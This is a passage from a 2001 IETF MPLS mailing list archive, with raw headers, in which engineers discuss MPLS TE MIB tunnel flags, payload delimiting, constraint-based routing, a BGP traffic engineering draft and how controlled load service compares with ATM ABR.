current<BR>&nbsp;&nbsp;=20
  DESCRIPTION<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "This =
bitmask=20
  indicates optional session values=20
  for<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this =
tunnel. The=20
  following describes=20
  these<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  bitfields:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<STRONG><FONT =
color=3D#ff00ff>&nbsp;=20
  fastRerouteThis flag indicates that the any=20
  tunnel<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hop =
may=20
  choose to reroute this tunnel=20
  without<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tearing it=20
  down.&nbsp; This flag permits transit=20
  routers<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
use a=20
  local repair mechanism which may result=20
  in<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; violation =
of the=20
  explicit routing of this=20
  tunnel.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When =
a fault=20
  is detected on an adjacent=20
  downstream<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
link or=20
  node, a transit router can reroute=20
  traffic<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for =
fast=20
  service=20
  =
restoration.</FONT></STRONG><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;</SPAN></FONT><FONT=20
  color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;<BR>&nbsp;&nbsp;=20
  REFERENCE<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "1. RSVP-TE:=20
  Extensions to RSVP for LSP=20
  Tunnels,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Awduche et=20
  al, Internet Draft=20
  =
&lt;draft-ietf-mpls-rsvp-<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;=20
  lsp-tunnel-07.txt&gt;, August 2000."<BR>&nbsp;&nbsp;=20
  DEFVAL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { 0 }<BR>&nbsp;&nbsp; =
::=3D {=20
  mplsTunnelEntry 13 }</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;I think the flag you were talking =
about is the=20
  above one and not the <FONT size=3D2>mplsTunnelLocalProtectInUse.=20
  </FONT></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;Please tell me if i am wrong.=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;I am still not clear about <FONT=20
  size=3D2>mplsTunnelLocalProtectInUse flag what it is ment for ? =
According to my=20
  </FONT></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;understanding this flag shold be set =
only when=20
  the local protection is in use ? And if this is what is =
</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>&nbsp;the purpose then it should be =
read-only and not=20
  read-create.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D296384117-16102001>Best=20
  Regds,</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001>Ashwin</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
  <BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> abhay=20
    [mailto:abhay@multitech.co.in]<BR><B>Sent:</B> Tuesday, October 16, =
2001=20
    9:48 AM<BR><B>To:</B> Ashwin C. Prabhu; mpls-ops@mplsrc.com;=20
    mpls@UU.NET<BR><B>Subject:</B> Re: Doubt in =
draft-ietf-mpls-te-mib-07.txt=20
    MIB<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>Ashwin,</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    mplsTunnelLocalProtectInUse,is usually used by the administrator to =
view if=20
    the primary path is protected.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1)&n=
bsp;When=20
    we enable a primary path to have disjoint local protection path,the =
primary=20
    path has its mplsTunnelLocal</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    ProtectInUse filled when we create the path and not when the link in =
the=20
    path fails.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;2)It=20
    is also can be a way to telling the MPLS Management(ref the recent =
draft on=20
    MPLS Management) running on the</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;=20
    router to know that the primary path is fast-reroute enabled and =
this router=20
    if required should participate in setting up</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;local=20
    repair paths.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;That=
=20
    explains the read-create attribute of the variable.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hope =
this=20
    helps,</FONT></DIV>
    <DIV><FONT face=3DArial=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    Regards,</FONT></DIV>
    <DIV><FONT face=3DArial=20
    size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    Abhay</FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
      <DIV style=3D"FONT: 10pt arial">----- Original Message ----- =
</DIV>
      <DIV=20
      style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
      <A href=3D"mailto:Ashwinp@in.huawei.com" =
title=3DAshwinp@in.huawei.com>Ashwin=20
      C. Prabhu</A> </DIV>
      <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
      href=3D"mailto:mpls-ops@mplsrc.com"=20
      title=3Dmpls-ops@mplsrc.com>mpls-ops@mplsrc.com</A> ; <A=20
      href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>mpls@UU.NET</A> =
</DIV>
      <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, October 15, =
2001 7:21=20
      PM</DIV>
      <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Doubt in=20
      draft-ietf-mpls-te-mib-07.txt MIB</DIV>
      <DIV><BR></DIV><BR>
      <P><FONT size=3D2>Hello </FONT></P>
      <P><FONT size=3D2>&nbsp;In the&nbsp; draft-ietf-mpls-te-mib-07.txt =
tunnel=20
      table </FONT><BR><FONT size=3D2>&nbsp;the Local protection is =
defined=20
      as</FONT> </P>
      <P><FONT size=3D2>mplsTunnelLocalProtectInUse&nbsp; =
OBJECT-TYPE</FONT>=20
      <BR><FONT size=3D2>&nbsp;&nbsp;=20
      SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TruthValue</FONT> =

      <BR><FONT size=3D2>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp;=20
      read-create</FONT> <BR><FONT size=3D2>&nbsp;&nbsp;=20
      STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT> =
<BR><FONT=20
      size=3D2>&nbsp;&nbsp; DESCRIPTION</FONT> <BR><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Indicates =
that the=20
      local repair mechanism is in use</FONT> <BR><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
maintain=20
      this tunnel (usually in the face of an</FONT> <BR><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
outage of=20
      the link it was previously routed over)."</FONT> <BR><FONT=20
      size=3D2>&nbsp;&nbsp; ::=3D { mplsTunnelEntry 15 }</FONT> </P>
      <P><FONT size=3D2>&nbsp;Shouldn't this be read-only variable as =
the fast=20
      reroute is enabled only </FONT><BR><FONT size=3D2>&nbsp;when the =
link is=20
      failed and the local protection is in use flag will be set?</FONT> =
</P>
      <P><FONT size=3D2>&nbsp;</FONT> <BR><FONT size=3D2>Ashwin</FONT>=20
    </P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0039_01C15658.ECCDB6E0--



From owner-mpls@UU.NET  Tue Oct 16 06:31:28 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08610
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 06:31:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkza19801;
	Tue, 16 Oct 2001 10:31:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkza12223
	for mpls-outgoing; Tue, 16 Oct 2001 10:30:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkza12212
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 10:30:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkza23511
	for <mpls@uu.net>; Tue, 16 Oct 2001 10:30:02 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQlkza18585
	for <mpls@uu.net>; Tue, 16 Oct 2001 10:30:17 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0001167213@fsnt.future.futsoft.com>;
 Tue, 16 Oct 2001 16:11:47 +0530
Received: from rajeshp (rajeshp.future.futsoft.com [10.8.7.67])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f9GASre17692;
	Tue, 16 Oct 2001 15:58:53 +0530
Reply-To: <rajeshp@future.futsoft.com>
From: "Rajesh P Jain" <rajeshp@future.futsoft.com>
To: "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Cc: <senthil.venkatachalam@usa.alcatel.com>, <ben@baces.com>,
        <benjamin.abarbanel@usa.alcatel.com>
Subject: BGP Traffic Engineering
Date: Tue, 16 Oct 2001 15:58:47 +0530
Message-Id: <001501c1562d$5799d160$4307080a@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Hi",
	I just wanted to check out regarding the BGP4 support for Traffic
Engineering.

	There was a draft from Ben Abarbanel and Senthil Vnkatachalam on BGP4
support for Traffic Engineering namely draft-abarbanel-idr-bgp4-te-00.txt
(September 2000). What is the current status of the draft ???

	Is there any implementation on this draft ??? Is further work going on ???
Or the draft is freezed out ???

	Any help will be appreciated.

TIA
	Rajesh P Jain



From owner-mpls@UU.NET  Tue Oct 16 07:39:20 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA09934
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 07:39:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkze10869;
	Tue, 16 Oct 2001 11:38:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkze06759
	for mpls-outgoing; Tue, 16 Oct 2001 11:38:14 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkze06754
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 11:38:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkze16916
	for <mpls@uu.net>; Tue, 16 Oct 2001 11:37:47 GMT
Received: from mail44.fg.online.no by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail44-s.fg.online.no [148.122.161.44])
	id QQlkze09416
	for <mpls@uu.net>; Tue, 16 Oct 2001 11:38:02 GMT
Received: from wm-java1.fg.online.no (wm-java1-s.fg.online.no [148.122.161.98])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id NAA04261
	for <mpls@uu.net>; Tue, 16 Oct 2001 13:37:44 +0200 (MET DST)
Message-ID: <30141356.1003232264968.JavaMail.webmail1@wm-java1.fg.online.no>
Date: Tue, 16 Oct 2001 13:37:44 +0200 (CEST)
From: Per Eirik Heimdal <perheim@frisurf.no>
To: mpls@UU.NET
Subject: Length of MPLS payload
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="8655420.1003232264965.JavaMail.webmail1@wm-java1.fg.online.no"
X-Mailer: Frisurf
X-Real-User: perheim
X-Client-Addr: 194.237.142.9
Sender: owner-mpls@UU.NET
Precedence: bulk

--8655420.1003232264965.JavaMail.webmail1@wm-java1.fg.online.no
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello !
How will LER/LSR's seperate two packets when they are carried by the same LSP? Is there any form of length indication of the MPLS payload? 
If not, how can an LSR differentiate between end of one packet and the MPLS header of the next packet?

Regards
Per Eirik Heimdal
--8655420.1003232264965.JavaMail.webmail1@wm-java1.fg.online.no--



From owner-mpls@UU.NET  Tue Oct 16 07:47:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10356
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 07:47:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzf29190;
	Tue, 16 Oct 2001 11:46:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzf07299
	for mpls-outgoing; Tue, 16 Oct 2001 11:45:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkzf07290
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 11:45:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkze00152
	for <mpls@UU.NET>; Tue, 16 Oct 2001 11:44:02 GMT
Received: from sanmiguel.telindus.es by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.201.14.242])
	id QQlkze25875
	for <mpls@UU.NET>; Tue, 16 Oct 2001 11:44:18 GMT
Received: by sanmiguel.madrid.telindus.es with Internet Mail Service (5.5.2448.0)
	id <4CNBWKV7>; Tue, 16 Oct 2001 13:38:52 +0200
Message-ID: <EF7BEF309A5BD311AD2F00508B4A97C6035EF703@sanmiguel.madrid.telindus.es>
From: Javier Antich <javier.antich@telindus.es>
To: Per Eirik Heimdal <perheim@frisurf.no>, mpls@UU.NET
Subject: RE: Length of MPLS payload
Date: Tue, 16 Oct 2001 13:38:48 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA10356

MPLS encapsulation is carried inside the physical or Layer 2 encapsulation
(ethernet, Frame Relay, PPP, ATM, ...). This lower layer encapsulation
indicates where a frame begins and ends.


                                          ^   ^
==============ooo====(.)v(.)====ooo=====
Javier Antich Romaguera
Network Consultant
---------------------------------------------------------------------------
TELINDUS 
Pza. Ciudad de Viena, 6-2º
28040 Madrid 
---------------------------------------------------------------------------
javier.antich@telindus.es
tel: +34 91 456 00 08
fax: +34 91 536 10 74
---------------------------------------------------------------------------
For more information about our products and services,
please visit our website http://www.telindus.com
---------------------------------------------------------------------------
Full connectivity & mobility
==================ooo0===0ooo========



> -----Mensaje original-----
> De:	Per Eirik Heimdal [SMTP:perheim@frisurf.no]
> Enviado el:	martes 16 de octubre de 2001 13:38
> Para:	mpls@UU.NET
> Asunto:	Length of MPLS payload
> 
> Hello !
> How will LER/LSR's seperate two packets when they are carried by the same
> LSP? Is there any form of length indication of the MPLS payload? 
> If not, how can an LSR differentiate between end of one packet and the
> MPLS header of the next packet?
> 
> Regards
> Per Eirik Heimdal
> 
> 
-------------------------------------------------------- 
Don't miss the 28th Telindus International Symposium on 
Thursday, 25 October 2001, Brussels Expo, Belgium.
Check out the programme and register now for free: 
http://www.telindussymposium.com 
--------------------------------------------------------




From owner-mpls@UU.NET  Tue Oct 16 09:00:19 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14595
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 09:00:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzj20896;
	Tue, 16 Oct 2001 12:59:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzj02293
	for mpls-outgoing; Tue, 16 Oct 2001 12:59:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkzj02288
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 12:59:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkzj27344
	for <mpls@uu.net>; Tue, 16 Oct 2001 12:58:57 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQlkzj07705
	for <mpls@uu.net>; Tue, 16 Oct 2001 12:59:12 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0001168404@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Tue, 16 Oct 2001 18:40:33 +0530
Received: from rajeshp (rajeshp.future.futsoft.com [10.8.7.67])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f9GCwKe28235
	for <mpls@uu.net>; Tue, 16 Oct 2001 18:28:20 +0530
Reply-To: <rajeshp@future.futsoft.com>
From: "Rajesh P Jain" <rajeshp@future.futsoft.com>
To: "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Subject: Constraint Based Routing
Date: Tue, 16 Oct 2001 18:28:14 +0530
Message-Id: <001f01c15642$382a2180$4307080a@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Hi",
	Can anyone explain me what exactly is "Constraint-Based Routing" (CBR) ?

	Please correct me if I am wrong. I feel that RSVP-TE, CR-LDP, CSPF (the
protocols like RSVP, LDP and OSPF) having extension for Traffice-Engineering
can synomously used for "CBR" since the constraint are specified while
setting up the LSP.

	Also, please give a list of protocols which needs to be extended for "CBR".
TIA,
	Rajesh P Jain



From owner-mpls@UU.NET  Tue Oct 16 09:15:56 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16226
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 09:15:56 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzk03148;
	Tue, 16 Oct 2001 13:14:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzk22846
	for mpls-outgoing; Tue, 16 Oct 2001 13:14:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkzk22835
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 13:14:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkzk18842
	for <mpls@UU.NET>; Tue, 16 Oct 2001 13:12:13 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkzk19842
	for <mpls@UU.NET>; Tue, 16 Oct 2001 13:12:29 GMT
Message-ID: <3BCC322B.9543ADF5@sandburst.com>
Date: Tue, 16 Oct 2001 09:12:11 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: "Hemant P. Kelkar" <hemant@cyberspace.org>
Cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: Re: CLS
References: <Pine.SUN.3.96.1011016054634.15898A-100000@grex.cyberspace.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hemant,

    ABR is ATM specific, and somewhat more analogous to Guaranteed
Service rather than Controlled Load Service.  GS and CLS are Integrated
Services based - which means they (in theory at least) are supported by
more generalized IP forwarding devices (potentially including ATM).

You wrote:

> Hi !
> I need to ask few basic doubts.
>
> 1. How is Controlled load service (CLS) different from ABR ?
> 2. Which are the user applications of CLS ?
> 3. If CLS provides approximately the same QoS under heavy loads as under
> light loads,why isn't it referred in guaranteed service category ?
> 4. How does MPLS implement CLS ?
>
> Regards,
> Hemant

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Tue Oct 16 10:48:12 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27490
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 10:48:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkzr17375;
	Tue, 16 Oct 2001 14:45:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkzr19395
	for mpls-outgoing; Tue, 16 Oct 2001 14:45:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkzr19384
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 14:45:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkzq00960
	for <mpls@UU.NET>; Tue, 16 Oct 2001 14:44:43 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkzq28328
	for <mpls@UU.NET>; Tue, 16 Oct 2001 14:44:59 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA19529;
	Tue, 16 Oct 2001 10:44:36 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA25871;
	Tue, 16 Oct 2001 10:44:35 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXP9ZW>; Tue, 16 Oct 2001 10:44:34 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C906@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>,
        "Hemant P. Kelkar"
	 <hemant@cyberspace.org>
Cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: CLS
Date: Tue, 16 Oct 2001 10:44:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hemant:

  Apart from what Eric has pointed out, there has been
  an extensive work done (in the past) to map service 
  classes between Internet and ATM technologies

  As per RFC2381 recommendations:
     Guaranteed Service    ->     CBR or rtVBR
     Controlled Load       ->     nrtVBR or ABR (with a minimum
                                  cell rate)
     Best Effort           ->     UBR or ABR

  But in my opinion ABR is the odd man out. You can't
  directly map ABR to either "Controlled Load" or "Best effort".
  There has been some research in ALS (Adaptive Load Service)
  which is an ABR-Like Service for the Internet.

     http://citeseer.nj.nec.com/271051.html

--Venkata Naidu

-> Hemant,
-> 
->     ABR is ATM specific, and somewhat more analogous to Guaranteed
